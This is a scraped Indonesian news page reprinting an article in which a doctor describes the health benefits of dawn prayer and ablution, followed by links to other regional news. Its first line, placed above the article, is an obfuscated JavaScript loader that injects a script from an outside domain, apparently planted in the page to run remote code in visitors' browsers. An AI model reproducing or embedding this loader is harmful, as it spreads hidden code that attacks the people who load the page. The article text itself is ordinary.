(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Shalat subuh termasuk salah satu ibadah wajib umat muslim. Bukan sekadar untuk mengugurkan kewajiban ibadah kepada Tuhan, shalat subuh juga sebenarnya memiliki manfaat bagi kesehatan tubuh.
Dilaksanakan sebelum matahari terbit, sehingga kebanyakan orang mungkin menjalankan salat subuh sesaat setelah bangun tidur.
Namun, setelah bangun tidur tubuh biasanya mengalami kekakuan akibat tidak adanya aktivitas fisik yang berarti. Dengan shalat subuh lah bisa membantu meregangkan otot-otot yang tegang.
“Kita habis tidur itu kan artinya kita berhenti beraktivitas. Pada orang-orang tertentu khususnya usia lanjut, itu pada saat dia tidur sendi-sendinya cenderung rileks. Pada saat dimulai aktivitas pagi itu cenderung kaku. Sehingga salah satu cara untuk mengurangi kekakuan, stretching otot adalah gerakan shalat ini,” jelas Ketua Umum Terpilih Pengurus Besar Ikatan Dokter Indonesia (IDI) dr Adib Khumaidi Sp OT, ditemui Suara.com di Jakarta beberapa waktu lalu.
Baca Juga: Tinggal Seorang Diri, Pria di Banjarmasin Ditemukan Sudah Berbau di Dalam Rumah
Selain itu, waktu shalat subuh yang masih dini hari sehingga udara masih bersih dan minim polusi. Kondisi itu, kata dr Adib, tentu baik untuk menghirup udara segat dan mencukupkan oksigen bagi tubuh.
“Oksigen yang masih bagus, udara masih bagus. Sehingga shalat subuh itu tentunya sangat membantu kita untuk stretching pergerakan sendi, sekaligus juga oksigenasi dalam tubuh,” ujarnya.
Bukan hanya shalat yang bermanfaat untuk kesehatan, tetapi berwudhu juga. Sebagai salah satu syarat sah shalat, umat muslim wajib membasuh dengan air dari kepala hingga mata kaki sesuai urutan.
Dokter Adib mengatakan bahwa berwudhu lima kali sehari membantu tubuh untuk membasuh kotoran yang menempel.
“Kalau literatur ilmiah tentang wudhu saya rasa sudah banyak. Artinya, salah satu aspek kebersihan dengan membasuh muka, basuh hidung, itu adalah salah satu upaya untuk mengurangi, misalnya kita habis beraktivitas, kotoran-kotoran di muka kita. Kita bisa bersihkan dengan air wudhu itu,” kata dokter Adib ditemui suara.com di Sekretariat IDI, Jakarta, beberapa waktu lalu.
Baca Juga:
Bhakti Ramadhan, Duta Kampus se-Kalsel Bagikan Paket Berbuka Puasa
Meski begitu, wudhu hanya bersifat membersihkan, lanjut dr Adib. Bukan berarti tubuh akan langsung steril dengan basuhan tersebut. Sehingga tetap disarankan untuk mandi secara rutin, terutama setiap kali usai beraktivitas di luar rumah. (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.